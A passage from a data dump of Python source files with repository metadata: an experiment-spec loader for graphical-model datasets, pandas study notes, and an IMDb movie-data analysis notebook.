"AirSimE2EDeepLearning/TestModel.py", "max_forks_repo_name": "mckygit/AutonomousDriving", "max_forks_repo_head_hexsha": "adab34cd2afb1142e9db8207ef981e48d56be478", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 58.0162601626, "max_line_length": 755, "alphanum_fraction": 0.7521020179, "include": true, "reason": "import numpy", "num_tokens": 1680, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.12421300997306335, "lm_q1q2_score": 0.062106504986531676}}
{"text": "\"\"\"\n\nExperiment specifications:\nan experiment is defined by train,test dataset pair,\neach dataset is loaded from graphical_models/datasets.\nAuthors: kkorovin@cs.cmu.edu\n\n\"\"\"\n\nimport os\nimport numpy as np\n\nfrom graphical_models import BinaryMRF\nfrom inference import get_algorithm\nfrom graphical_models.data_gen import struct_names\nfrom constants import *\n\n\n# Give specs in form structure->size\n# when used for train, the same is model name\ndata_specs = {\n    \"debug\": \n            {\"star\": [5],\n              \"fc\":   []},\n    \"larger_debug\": \n            {\"star\": [10],\n              \"fc\":   []},\n}\n\n# add simple datasets\ndata_specs.update({struct+\"_small\": {struct: [9]} for struct in struct_names})\nassert \"star_small\" in data_specs\n\n# add compound datasets\ndata_specs.update({struct+\"_medium\": {struct: [15,16,17]} for struct in struct_names})\ndata_specs.update({\"trees_medium\": {\"star\": [15, 16, 17],\n                                    \"path\": [15, 16, 17],\n                                    },\n                    \"conn_medium\": {\"bipart\": [15, 16, 17],\n                                    # \"tripart\": [15, 16, 17],\n                                    \"fc\": [15, 16, 17],\n                                    },\n                  })\ndata_specs.update({\"grid_large\":{\"grid\":[49]},\n                  \"path_large\": {\"path\":  [9,10,100]},\n                  \"fc_large\": {\"fc\": [15,16,17]},\n                  \"barbell_large\": {\"barbell\": [15,16,17]},\n                  \"ladder_large\": {\"ladder\": [15,16,17]},\n                  \"random_tree_large\": {\"random_tree\": [15,16,17]},\n                  \"wheel_large\": {\"wheel\": [15,16,17,100]},\n                 })\n\n\n# Add experiments for part 2: Trees+BP\ndata_specs.update({\"trees_approx\": {\"random_tree\":  [100]},\n                 })\n\n# Add experiments for part 2: NonTrees+MCMC\ndata_specs.update({\"nontrees_approx\": \n                        {\"barbell\":  [100],\n                        \"fc\":  [100]},\n                    \"barbell_approx\": \n                        {\"barbell\":  [100]},\n                    \"fc_approx\": \n                        {\"fc\":  [100]}\n                 })\n\n# Data loading ----------------------------------------------------------------\ndef get_dataset_by_name(specs_name, data_dir, mode=None):\n    \"\"\"\n    Assumes graphs live as\n    graphical_models/datasets/{train/val/test}  <-- data_dir\n                                    |-- star/\n                                    |    |-  9/<file1.npy>, <file2.npy> ...\n                                    |    |- 10/\n                                         |- 11/\n                                   ...  ...\n    Loads all graphs of given size and structure,\n    this needs to be updated in the future\n    (so that we can train and test on the same structures)\n\n    Arguments:\n        specs_name - key to the data_specs dictionary\n        data_dir - train or test directory\n        mode - map or marginal\n    \"\"\"\n    if specs_name not in data_specs:\n        raise ValueError(\"Specification {} not supported\".format(specs_name))\n    specs = data_specs[specs_name]\n    graphs = []\n    for struct in specs:\n        size_list = specs[struct]\n        for size in size_list:\n            # go to specified dir, load and append\n            directory = os.path.join(data_dir, struct, str(size))\n\n            for filename in os.listdir(directory):\n                if filename.endswith(\".npy\"):\n                    path_to_graph = os.path.join(directory, filename)\n                    data_dict = np.load(path_to_graph, allow_pickle=True)[()]  # funny indexing\n                    graph = BinaryMRF(data_dict[\"W\"], data_dict[\"b\"])\n                    graph.set_ground_truth(marginal_est=data_dict[\"marginal\"],\n                                           map_est=data_dict[\"map\"])\n                    graph.struct = struct\n                    graphs.append(graph)\n\n    if mode is not None:\n        graphs = [g for g in graphs if getattr(g, mode) is not None]\n    print(\"Loaded {} graphs\".format(len(graphs)))\n    return graphs\n\n\n# Some simple checks ----------------------------------------------------------\nif __name__ == \"__main__\":\n    train_data = get_dataset_by_name(\"debug\")\n    print(train_data[0])\n    print(\"W, b:\", train_data[0].W, train_data[0].b)\n    print(\"Marginals:\", train_data[0].marginal)\n    print(\"MAP:\", train_data[0].map)\n\n", "meta": {"hexsha": "f73d7b7cdff38817d185cc2462c05e5c24cc28b0", "size": 4345, "ext": "py", "lang": "Python", "max_stars_repo_path": "experiments/saved_exp_res/exp_helpers.py", "max_stars_repo_name": "farzana0/pgm_graph_inference", "max_stars_repo_head_hexsha": "37f1ea68f191d4f3021e7fdc8dd246d945e37ead", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "experiments/saved_exp_res/exp_helpers.py", "max_issues_repo_name": "farzana0/pgm_graph_inference", "max_issues_repo_head_hexsha": "37f1ea68f191d4f3021e7fdc8dd246d945e37ead", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "experiments/saved_exp_res/exp_helpers.py", "max_forks_repo_name": "farzana0/pgm_graph_inference", "max_forks_repo_head_hexsha": "37f1ea68f191d4f3021e7fdc8dd246d945e37ead", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.9090909091, "max_line_length": 95, "alphanum_fraction": 0.5024165708, "include": true, "reason": "import numpy", "num_tokens": 952, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.12421300186801369, "lm_q1q2_score": 0.062106500934006846}}
{"text": "# At a basic level, Pandas objects can be thought of as enhanced versions of\n# NumPy structured arrays in which the rows/cols are ID'd with labels instead of int indices\n\n# Pandas provides many useful tools, methods, and functionality on top of basic data structures,\n# but first you must understand the structures (objects)\n\n# three fundamental Pandas data structures:\n    # Series\n    # DataFrame\n    # Index\n\nimport numpy as np\nimport pandas as pd\n\n##############################\n### the Pandas Series object\n# a Series is a one-dimensional array of indexed data\n# can construct as follows:\ndata = pd.Series([0.25, 0.5, 0.75, 1.0])\ndata\n\n# as seen in output, Series wraps both sequence of vals and sequence of indices\n# can access with 'values' and 'index' attributes\n\n# 'values' are simply a NumPy array:\ndata.values\n\n# 'index' is an array-like object of type pd.Index:\ndata.index\n\n# also like NP array, data can be accessed via associated index:\ndata[1]\ndata[1:3]\n\n\n## 'Series' as a generalized NumPy array\n# diff b/w series and np arr:\n# presence of index:\n    # NP arr has an implicitly defined integer index\n    # PD series has an explicitly defined index\n\n# we can make the explicit index a value of any type (not just int):\ndata = pd.Series([0.25, 0.5, 0.75, 1.0], index=['a', 'b', 'c', 'd'])\ndata\ndata['b']\n\n# or make the indeces non-sequential:\ndata = pd.Series([0.25, 0.5, 0.75, 1.0], index=['2', '3', '5', '7'])\ndata\ndata[5]\n\n\n## 'Series' as a specialized dictionary\n# It's more accurrate to think of Series as a special Python dictionary\n    # dict maps arbitrary keys to arbitrary values\n    # series maps typed keys to a set of typed values\n\n# the typing is important: the static typing is why PD arrs are more efficient than dicts\n    # NP arrays > Python lists\n    # PD Series > Python dicts\n\n# an example to clarify the relationship --- can create PD Series from dict\npopulation_dict = {'California': 38332521,\n                   'Texas': 26448193,\n                   'New York': 19651127,\n                   'Florida': 19552860,\n                   'Illinois': 12882135}\npopulation = pd.Series(population_dict)\npopulation\n\n# can then perform typical dict-style item access on the new PD Series:\npopulation['California']\n\n# additionally, Series supports array-style slicing (while dicts do NOT)\npopulation['California':'Illinois']\n\n\n## Constructing Series objects\n# all constructors so far have been a version of following statement:\npd.Series(data, index='index')\n\n# data can be a NP Array, 'index' defaults to int sequence\npd.Series([2, 4, 6])\n\n# data can be a scalar - behavior is: scaled to fill specified indeces\npd.Series(5, index=[100, 200, 300])\n\n# data can be a dictionary - 'index' defaults to sorted dictionary keys:\npd.Series({2:'a', 1:'b', 3:'c'})\n    # NOTE: my iPython terminal is not displaying 1, 2, 3 as book shows.\n    #       it shows in the order entered, even when stored in var.\n\n# can set index explicitly for dict if you want, but it's a bit odd to say the least\npd.Series({2:'a', 1:'b', 3:'c'}, index=[3, 2])\n\n\n##############################\n### the Pandas DataFrame object\n# If   'Series'    is an analog of 1D array w/ flexible indeces\n# Then 'DataFrame' is an analog of 2D array w/ flexible row/col indeces\n\n# i.e. if you think of\n    # 2d array as ordered sequence of aligned (sharing index) 1d columns\n# then\n    # DataFrame as ordered sequence of aligned Series objects\n\n# Demonstration: new Series lisiting area of 5 states mentioned prior\narea_dict = {'California': 423967, 'Texas': 695662, 'New York': 141297,\n             'Florida': 170312, 'Illinois': 149995}\narea = pd.Series(area_dict)\narea\n\n# Can use this in conjunction with \"popularion\" series from before\nstates = pd.DataFrame({'population': population, 'area': area})\nstates\n\n# like Series, DataFrame has an index attribute that gives access to ind labels\nstates.index\n\n# Additionally, DataFrame has a 'columns' attribute, which is an Index object\n# containing column labels\nstates.columns\n\n\n## DataFrame as a specialized dictionary\n# Similarly, we can think of DataFrame as a specialized dictionary\n    # Dictionary maps keys to values\n    # DataFrame maps column name to a Series of column data\n\n# demonstrated by asking for 'area' attribute, which returns the Series obj\nstates['area']\n\n# sticking point! in a 2D NP array, data[0] returns first ROW\n#                 in a DataFrame, data['col0'] returns first COLUMN\n# thus, we prefer to think of DataFrames as generalized dicts for the most part\n\n\n## Constructing DataFrame objects\n\n# from a single Series object: (i.e. 1-column DataFrame)\npd.DataFrame(population, columns=['population'])\n\n# from a list of dicts (using a list comprehension to create data)\ndata = [{'a': i, 'b': 2 * i}\n         for i in range(3)]\npd.DataFrame(data)\n\n# **NOTE: if keys in dict are missing, PD fills in with \"NaN\" vals **\npd.DataFrame([{'a': 1, 'b': 2}, {'b': 3, 'c': 4}])\n\n# from a dictionary of Series objects\npd.DataFrame({'population': population, 'area': area})\n\n# from a 2d NP array (if omitting col names, int indeces used for each)\npd.DataFrame(np.random.rand(3, 2), \n             columns=['foo', 'bar'], index=['a', 'b', 'c'])\n\n# from a NP structured array\nA = np.zeros(3, dtype=[('A', 'i8'), ('B', 'f8')])\nA\npd.DataFrame(A)\n\n\n##############################\n### The Pandas Index object\n# In both 'Series' and 'Dataframes', we have explicit 'Index' to reference/modify\n\n# Index object is an interesting structure\n# can be thought of as either an immutable array or an ordered set \n    # (technically multi-set due to repeated vals)\n\n# Consequences: certain operations available on Index objects\nind = pd.Index([2, 3, 5, 7, 11])\nind\n\n\n## Index as immutable array\n# like array, can use standard Python indexing notation to get vals/slices\nind[1]\nind[::2]\n\n# similar attributes familiar to NP arrs\nprint(ind.size, ind.shape, ind.ndim, ind.dtype)\n\n# as they are immutable, we cannot modify via normal shorthand\nind[1] = 0      # produces runtime error 'Index does not support mutable operations'\n\n\n## Index as ordered set\n# PD objects are designed to facilitate operations such as joins across datasets\n# thus, set arithmetic is often very useful\n\n# Index object follows many conventions used by pythons built-in \"set\" data structure\n# unions, intersections, differences, and other combinations can be computed:\nindA = pd.Index([1, 3, 5, 7, 9])\nindB = pd.Index([2, 3, 5, 7, 11])\n\nindA & indB         # intersection\nindA | indB         # union\nindA ^ indB         # symmetric difference\n\n# can also equivalently access via object methods if you prefer\nindA.intersection(indB)", "meta": {"hexsha": "f5dfc756f701af14459f1c01e4bdfd02eafe3b83", "size": 6627, "ext": "py", "lang": "Python", "max_stars_repo_path": "3.01-PandasObjects.py", "max_stars_repo_name": "pgiardiniere/notes-PythonDataScienceHandbook", "max_stars_repo_head_hexsha": "ddb6662d2fbeedd5b6b09ce4d8ddee55813ec589", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-05-01T02:23:02.000Z", "max_stars_repo_stars_event_max_datetime": "2019-05-04T03:26:39.000Z", "max_issues_repo_path": "3.01-PandasObjects.py", "max_issues_repo_name": "pgiardiniere/notes-PythonDataScienceHandbook", "max_issues_repo_head_hexsha": "ddb6662d2fbeedd5b6b09ce4d8ddee55813ec589", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "3.01-PandasObjects.py", "max_forks_repo_name": "pgiardiniere/notes-PythonDataScienceHandbook", "max_forks_repo_head_hexsha": "ddb6662d2fbeedd5b6b09ce4d8ddee55813ec589", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.645320197, "max_line_length": 96, "alphanum_fraction": 0.6924701977, "include": true, "reason": "import numpy", "num_tokens": 1711, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3923368301671084, "lm_q2_score": 0.1581743467959293, "lm_q1q2_score": 0.06205762183566782}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[113]:\n\n\n# Filtering out the warnings\n\nimport warnings\n\nwarnings.filterwarnings('ignore')\n\n\n# In[114]:\n\n\n# Importing the required libraries\n\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n\n# # <font color = blue> IMDb Movie Case Study </font>\n# \n# \u00a0\n\n# ##  Task 1: Reading the data\n\n# - ### Subtask 1.1: Read the Movies Data.\n# \n# Read the movies data file provided and store it in a dataframe `movies`.\n\n# In[115]:\n\n\n# Read the csv file using 'read_csv'. Please write your dataset location here.\n\ninp=pd.read_csv('Movie_IMDB_Data.csv')\ninp\n\n\n# - ###  Subtask 1.2: Inspect the Dataframe\n# \n# Inspect the dataframe for dimensions, null-values, and summary of different numeric columns.\n\n# In[116]:\n\n\n# Check the number of rows and columns in the dataframe\n\ninp.shape\n\n\n# In[117]:\n\n\n# Check the column-wise info of the dataframe\n\ninp.info()\n\n\n# In[118]:\n\n\n# Check the summary for the numeric columns \n\ninp.describe(include='all')\n\n\n# ## Task 2: Data Analysis\n# \n# Now that we have loaded the dataset and inspected it, we see that most of the data is in place. As of now, no data cleaning is required, so let's start with some data manipulation, analysis, and visualisation to get various insights about the data. \n\n# -  ###  Subtask 2.1: Reduce those Digits!\n# \n# These numbers in the `budget` and `gross` are too big, compromising its readability. Let's convert the unit of the `budget` and `gross` columns from `$` to `million $` first.\n\n# In[119]:\n\n\n# Divide the 'gross' and 'budget' columns by 1000000 to convert '$' to 'million $'\n\ninp['Gross']= inp['Gross'].floordiv(1000000)\ninp['budget']=inp['budget'].floordiv(1000000)\n\n\n# -  ###  Subtask 2.2: Let's Talk Profit!\n# \n#     1. Create a new column called `profit` which contains the difference of the two columns: `gross` and `budget`.\n#     2. Sort the dataframe using the `profit` column as reference.\n#     3. Extract the top ten profiting movies in descending order and store them in a new dataframe - `top10`.\n#     4. Plot a scatter or a joint plot between the columns `budget` and `profit` and write a few words on what you observed.\n#     5. Extract the movies with a negative profit and store them in a new dataframe - `neg_profit`\n\n# In[120]:\n\n\n# Create the new column named 'profit' by subtracting the 'budget' column from the 'gross' column\ninp['profit']=inp['Gross']-inp['budget']\n\n\n# In[121]:\n\n\n# Sort the dataframe with the 'profit' column as reference using the 'sort_values' function. Make sure to set the argument\n#'ascending' to 'False'\n\ninp.sort_values(by='profit',inplace=True,ascending=False,ignore_index=True)\n\n\n# In[122]:\n\n\n# Get the top 10 profitable movies by using position based indexing. Specify the rows till 10 (0-9)\n\ninp1=inp[0:10]\ninp1\n\n\n# In[123]:\n\n\n#Plot profit vs budget\n\nsns.barplot(data=inp1,x='profit',y='budget')\n\n\n# The dataset contains the 100 best performing movies from the year 2010 to 2016. However, the scatter plot tells a different story. You can notice that there are some movies with negative profit. Although good movies do incur losses, but there appear to be quite a few movie with losses. What can be the reason behind this? Lets have a closer look at this by finding the movies with negative profit.\n\n# In[124]:\n\n\n#Find the movies with negative profit\n\ninp[inp['profit']<0]\n\n\n# **`Checkpoint 1:`** Can you spot the movie `Tangled` in the dataset? You may be aware of the movie 'Tangled'. Although its one of the highest grossing movies of all time, it has negative profit as per this result. If you cross check the gross values of this movie (link: https://www.imdb.com/title/tt0398286/), you can see that the gross in the dataset accounts only for the domestic gross and not the worldwide gross. This is true for may other movies also in the list.\n\n# - ### Subtask 2.3: The General Audience and the Critics\n# \n# You might have noticed the column `MetaCritic` in this dataset. This is a very popular website where an average score is determined through the scores given by the top-rated critics. Second, you also have another column `IMDb_rating` which tells you the IMDb rating of a movie. This rating is determined by taking the average of hundred-thousands of ratings from the general audience. \n# \n# As a part of this subtask, you are required to find out the highest rated movies which have been liked by critics and audiences alike.\n# 1. Firstly you will notice that the `MetaCritic` score is on a scale of `100` whereas the `IMDb_rating` is on a scale of 10. First convert the `MetaCritic` column to a scale of 10.\n# 2. Now, to find out the movies which have been liked by both critics and audiences alike and also have a high rating overall, you need to -\n#     - Create a new column `Avg_rating` which will have the average of the `MetaCritic` and `Rating` columns\n#     - Retain only the movies in which the absolute difference(using abs() function) between the `IMDb_rating` and `Metacritic` columns is less than 0.5.\n#     - Sort these values in a descending order of `Avg_rating` and retain only the movies with a rating equal to or greater than `8` and store these movies in a new dataframe `UniversalAcclaim`.\n#     \n\n# In[125]:\n\n\n# Change the scale of MetaCritic\n\ninp['MetaCritic']=inp['MetaCritic']/10\ninp['MetaCritic']\n\n\n# In[126]:\n\n\n# Find the average ratings\n\ninp['Avg_rating']=inp[['MetaCritic','IMDb_rating']].mean(axis=1)\n\n\n# In[127]:\n\n\n#Sort in descending order of average rating\ninp.sort_values(by='Avg_rating',inplace=True,ascending=False,ignore_index=True)\ninp\n\n\n# In[128]:\n\n\n# Find the movies with metacritic-Imdb rating < 0.5 and also with an average rating of >= 8 (sorted in descending order)\nUniversalAcclaim=inp[abs(inp['MetaCritic']-inp['IMDb_rating'])<0.5]\nUniversalAcclaim[(abs(inp['MetaCritic']-inp['IMDb_rating'])<0.5) & (inp['Avg_rating']>=8)].sort_index()[0:5]\n\n\n# **`Checkpoint 2:`** Can you spot a `Star Wars` movie in your final dataset?\n\n# - ### Subtask 2.4: Find the Most Popular Trios - I\n# \n# You're a producer looking to make a blockbuster movie. There will primarily be three lead roles in your movie and you wish to cast the most popular actors for it. Now, since you don't want to take a risk, you will cast a trio which has already acted in together in a movie before. The metric that you've chosen to check the popularity is the Facebook likes of each of these actors.\n# \n# The dataframe has three columns to help you out for the same, viz. `actor_1_facebook_likes`, `actor_2_facebook_likes`, and `actor_3_facebook_likes`. Your objective is to find the trios which has the most number of Facebook likes combined. That is, the sum of `actor_1_facebook_likes`, `actor_2_facebook_likes` and `actor_3_facebook_likes` should be maximum.\n# Find out the top 5 popular trios, and output their names in a list.\n# \n\n# In[129]:\n\n\n# Write your code here\ninp['Trio']=inp['actor_1_facebook_likes']+ inp['actor_2_facebook_likes']+inp['actor_3_facebook_likes']\ninp.sort_values(by='Trio',inplace=True,ascending=False,ignore_index=True)\ntop_5_popular_trio=inp[['Trio','Title']][0:5].values.tolist()\ntop_5_popular_trio\n\n\n# - ### Subtask 2.5: Runtime Analysis\n# \n# There is a column named `Runtime` in the dataframe which primarily shows the length of the movie. It might be intersting to see how this variable this distributed. Plot a `histogram` or `distplot` of seaborn to find the `Runtime` range most of the movies fall into.\n\n# In[130]:\n\n\n# Runtime histogram/density plot\nplt.figure(figsize=[8,4])\nsns.distplot(inp['Runtime'])\nplt.title('Movie Runtime Distrubition',fontdict={'fontsize':18,'fontweight':6})\nplt.show()\n\n\n# **`Checkpoint 3:`** Most of the movies appear to be sharply 2 hour-long.\n\n# - ### Subtask 2.6: R-Rated Movies\n# \n# Although R rated movies are restricted movies for the under 18 age group, still there are vote counts from that age group. Among all the R rated movies that have been voted by the under-18 age group, find the top 10 movies that have the highest number of votes i.e.`CVotesU18` from the `movies` dataframe. Store these in a dataframe named `PopularR`.\n\n# In[131]:\n\n\n# Write your code here\nR_rated= inp[inp['content_rating']=='R']\npopular_R=R_rated.sort_values(by='CVotesU18',ascending=False,ignore_index=True)[0:10]\npopular_R[0:6]\n\n\n# **`Checkpoint 4:`** Are these kids watching `Deadpool` a lot?\n\n#  \n\n# ## Task 3 : Demographic analysis\n# \n# If you take a look at the last columns in the dataframe, most of these are related to demographics of the voters (in the last subtask, i.e., 2.8, you made use one of these columns - CVotesU18). We also have three genre columns indicating the genres of a particular movie. We will extensively use these columns for the third and the final stage of our assignment wherein we will analyse the voters across all demographics and also see how these vary across various genres. So without further ado, let's get started with `demographic analysis`.\n\n# -  ###  Subtask 3.1 Combine the Dataframe by Genres\n# \n# There are 3 columns in the dataframe - `genre_1`, `genre_2`, and `genre_3`. As a part of this subtask, you need to aggregate a few values over these 3 columns. \n# 1. First create a new dataframe `df_by_genre` that contains `genre_1`, `genre_2`, and `genre_3` and all the columns related to **CVotes/Votes** from the `movies` data frame. There are 47 columns to be extracted in total.\n# 2. Now, Add a column called `cnt` to the dataframe `df_by_genre` and initialize it to one. You will realise the use of this column by the end of this subtask.\n# 3. First group the dataframe `df_by_genre` by `genre_1` and find the sum of all the numeric columns such as `cnt`, columns related to CVotes and Votes columns and store it in a dataframe `df_by_g1`.\n# 4. Perform the same operation for `genre_2` and `genre_3` and store it dataframes `df_by_g2` and `df_by_g3` respectively. \n# 5. Now that you have 3 dataframes performed by grouping over `genre_1`, `genre_2`, and `genre_3` separately, it's time to combine them. For this, add the three dataframes and store it in a new dataframe `df_add`, so that the corresponding values of Votes/CVotes get added for each genre.There is a function called `add()` in pandas which lets you do this. \n# 6. The column `cnt` on aggregation has basically kept the track of the number of occurences of each genre.Subset the genres that have atleast 10 movies into a new dataframe `genre_top10` based on the `cnt` column value.\n# 7. Now, take the mean of all the numeric columns by dividing them with the column value `cnt` and store it back to the same dataframe. We will be using this dataframe for further analysis in this task unless it is explicitly mentioned to use the dataframe `movies`.\n# 8. Since the number of votes can't be a fraction, type cast all the CVotes related columns to integers. Also, round off all the Votes related columns upto two digits after the decimal point.\n# \n\n# In[132]:\n\n\n# Create the dataframe df_by_genre\ncolumn_list=[]\nfor i in inp.columns:\n    if i.startswith('CV') | i.startswith('V') | i.startswith('ge'):\n        column_list.append(i)\ndf_by_genre=inp.loc[:,column_list]\n\n\n# In[133]:\n\n\n# Create a column cnt and initialize it to 1\ndf_by_genre['cnt']=1\n\n\n# In[134]:\n\n\n# Group the movies by individual genres\ndf_by_g1=df_by_genre.groupby('genre_1')\ndf_by_g2=df_by_genre.groupby('genre_2')\ndf_by_g3=df_by_genre.groupby('genre_3')\n\n\n# In[135]:\n\n\n# Add the grouped data frames and store it in a new data frame\ndf_by_g1=pd.DataFrame(df_by_g1.sum())\ndf_by_g2=pd.DataFrame(df_by_g2.sum())\ndf_by_g3=pd.DataFrame(df_by_g3.sum())\nadd_df1_df2=df_by_g1.add(df_by_g2, fill_value=0)\ndf_add=add_df1_df2.add(df_by_g3, fill_value=0)\ngener_top10=df_add[df_add['cnt']>=10]\ngener_top10.head()\n\n\n# In[136]:\n\n\n# Extract genres with atleast 10 occurences\ngener_top10 = df_add[df_add[\"cnt\"] > 10].sort_values(by=\"cnt\",ascending=False)\ngener_top10\n\n\n# In[137]:\n\n\n# Take the mean for every column by dividing with cnt \nfor i in range(0,44):\n    gener_top10.iloc[:,i] = gener_top10.iloc[:,i] / gener_top10.iloc[:,-1]\ngener_top10\n\n\n# In[138]:\n\n\n# Rounding off the columns of Votes to two decimals\ngener_top10.iloc[:,27:44] = round(gener_top10.iloc[:,27:44],2)\n\n\n# In[139]:\n\n\n# Converting CVotes to int type\ngenre_top10.iloc[:,0:27] = genre_top10.iloc[:,0:27].astype(int)\n\n\n# If you take a look at the final dataframe that you have gotten, you will see that you now have the complete information about all the demographic (Votes- and CVotes-related) columns across the top 10 genres. We can use this dataset to extract exciting insights about the voters!\n\n# -  ###  Subtask 3.2: Genre Counts!\n# \n# Now let's derive some insights from this data frame. Make a bar chart plotting different genres vs cnt using seaborn.\n\n# In[140]:\n\n\ngener_top10['cnt'].plot.bar()\nplt.show()\n\n\n# **`Checkpoint 5:`** Is the bar for `Drama` the tallest?\n\n# -  ###  Subtask 3.3: Gender and Genre\n# \n# If you have closely looked at the Votes- and CVotes-related columns, you might have noticed the suffixes `F` and `M` indicating Female and Male. Since we have the vote counts for both males and females, across various age groups, let's now see how the popularity of genres vary between the two genders in the dataframe. \n# \n# 1. Make the first heatmap to see how the average number of votes of males is varying across the genres. Use seaborn heatmap for this analysis. The X-axis should contain the four age-groups for males, i.e., `CVotesU18M`,`CVotes1829M`, `CVotes3044M`, and `CVotes45AM`. The Y-axis will have the genres and the annotation in the heatmap tell the average number of votes for that age-male group. \n# \n# 2. Make the second heatmap to see how the average number of votes of females is varying across the genres. Use seaborn heatmap for this analysis. The X-axis should contain the four age-groups for females, i.e., `CVotesU18F`,`CVotes1829F`, `CVotes3044F`, and `CVotes45AF`. The Y-axis will have the genres and the annotation in the heatmap tell the average number of votes for that age-female group. \n# \n# 3. Make sure that you plot these heatmaps side by side using `subplots` so that you can easily compare the two genders and derive insights.\n# \n# 4. Write your any three inferences from this plot. You can make use of the previous bar plot also here for better insights.\n# \n# 5. Repeat subtasks 1 to 4, but now instead of taking the CVotes-related columns, you need to do the same process for the Votes-related columns. These heatmaps will show you how the two genders have rated movies across various genres.\n# \n# -  Note : Use `genre_top10` dataframe for this subtask\n\n# In[141]:\n\n\n# 1st set of heat maps for CVotes-related columns\nplt.figure(figsize=(20,8))\nplt.subplot(1,2,1)\nheatmap_m = sns.heatmap(gener_top10.iloc[:,13:23:3],annot=True,cmap=\"Spectral_r\")\nbottom, top = heatmap_m.get_ylim()\nheatmap_m.set_ylim(bottom + 0.5, top - 0.5)\nplt.subplot(1,2,2)\nheatmap_f = sns.heatmap(gener_top10.iloc[:,14:24:3],annot=True,cmap=\"Spectral_r\")\nbottom, top = heatmap_f.get_ylim()\nheatmap_f.set_ylim(bottom + 0.5, top - 0.5)\nplt.show()\n\n\n# In[142]:\n\n\n# 2nd set of heat maps for Votes-related columns\nplt.figure(figsize=(20,8))\nplt.subplot(1,2,1)\nheatmap_m = sns.heatmap(gener_top10.iloc[:,30:40:3],annot=True,cmap=\"Spectral_r\")\nbottom, top = heatmap_m.get_ylim()\nheatmap_m.set_ylim(bottom + 0.5, top - 0.5)\nplt.subplot(1,2,2)\nheatmap_f = sns.heatmap(gener_top10.iloc[:,31:41:3],annot=True,cmap=\"Spectral_r\")\nbottom, top = heatmap_f.get_ylim()\nheatmap_f.set_ylim(bottom + 0.5, top - 0.5)\nplt.show()\n\n\n# -  ###  Subtask 3.4: US vs non-US Cross Analysis\n# \n# The dataset contains both the US and non-US movies. Let's analyse how both the US and the non-US voters have responded to the US and the non-US movies.\n# \n# 1. Create a column `IFUS` in the dataframe `movies`. The column `IFUS` should contain the value \"USA\" if the `Country` of the movie is \"USA\". For all other countries other than the USA, `IFUS` should contain the value `non-USA`.\n# \n# \n# 2. Now make a boxplot that shows how the number of votes from the US people i.e. `CVotesUS` is varying for the US and non-US movies. Make use of the column `IFUS` to make this plot. Similarly, make another subplot that shows how non US voters have voted for the US and non-US movies by plotting `CVotesnUS` for both the US and non-US movies. Write any of your two inferences/observations from these plots.\n# \n# \n# 3. Again do a similar analysis but with the ratings. Make a boxplot that shows how the ratings from the US people i.e. `VotesUS` is varying for the US and non-US movies. Similarly, make another subplot that shows how `VotesnUS` is varying for the US and non-US movies. Write any of your two inferences/observations from these plots.\n# \n# Note : Use `movies` dataframe for this subtask. \n\n# In[143]:\n\n\n# Creating IFUS column\ninp[\"IFUS\"] = \"USA\" \ninp.loc[inp[\"Country\"] != \"USA\",\"IFUS\"] = \"non-USA\" \ninp\n\n\n# In[144]:\n\n\n# Box plot - 1: CVotesUS(y) vs IFUS(x)\nplt.figure(figsize=(20,8))\nplt.subplot(1,2,1)\nsns.boxplot(x=inp[\"IFUS\"],y=inp[\"CVotesUS\"])\nplt.subplot(1,2,2)\nsns.boxplot(x=inp[\"IFUS\"],y=inp[\"CVotesnUS\"])\nplt.show()\n\n\n# In[145]:\n\n\n# Box plot - 2: VotesUS(y) vs IFUS(x)\nplt.figure(figsize=(20,8))\nplt.subplot(1,2,1)\nsns.boxplot(x=inp[\"IFUS\"],y=inp[\"VotesUS\"])\nplt.subplot(1,2,2)\nsns.boxplot(x=inp[\"IFUS\"],y=inp[\"VotesnUS\"])\nplt.show()\n\n\n# -  ###  Subtask 3.5:  Top 1000 Voters Vs Genres\n# \n# You might have also observed the column `CVotes1000`. This column represents the top 1000 voters on IMDb and gives the count for the number of these voters who have voted for a particular movie. Let's see how these top 1000 voters have voted across the genres. \n# \n# 1. Sort the dataframe genre_top10 based on the value of `CVotes1000`in a descending order.\n# \n# 2. Make a seaborn barplot for `genre` vs `CVotes1000`.\n# \n# 3. Write your inferences. You can also try to relate it with the heatmaps you did in the previous subtasks.\n# \n# \n# \n\n# In[146]:\n\n\n# Sorting by CVotes1000\ngener_top10.sort_values(by='CVotes1000',ascending=False)\n\n\n# In[147]:\n\n\n# Bar plot\nplt.figure(figsize=(10,5))\nsns.barplot(x=gener_top10.index,y=gener_top10[\"CVotes1000\"])\n\n\n# **`Checkpoint 6:`** The genre `Romance` seems to be most unpopular among the top 1000 voters.\n\n# \n# \n# \n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "e414626ed499aec8a21715df60afbb93d9d16140", "size": 18286, "ext": "py", "lang": "Python", "max_stars_repo_path": "IMDb+Movie+Data.py", "max_stars_repo_name": "sanju6331/IMDb-Movie-Data-Visualisation-Case-Study-Upgrad", "max_stars_repo_head_hexsha": "f5dbca3b303ebda57d11af8acdc01572e0804aa0", 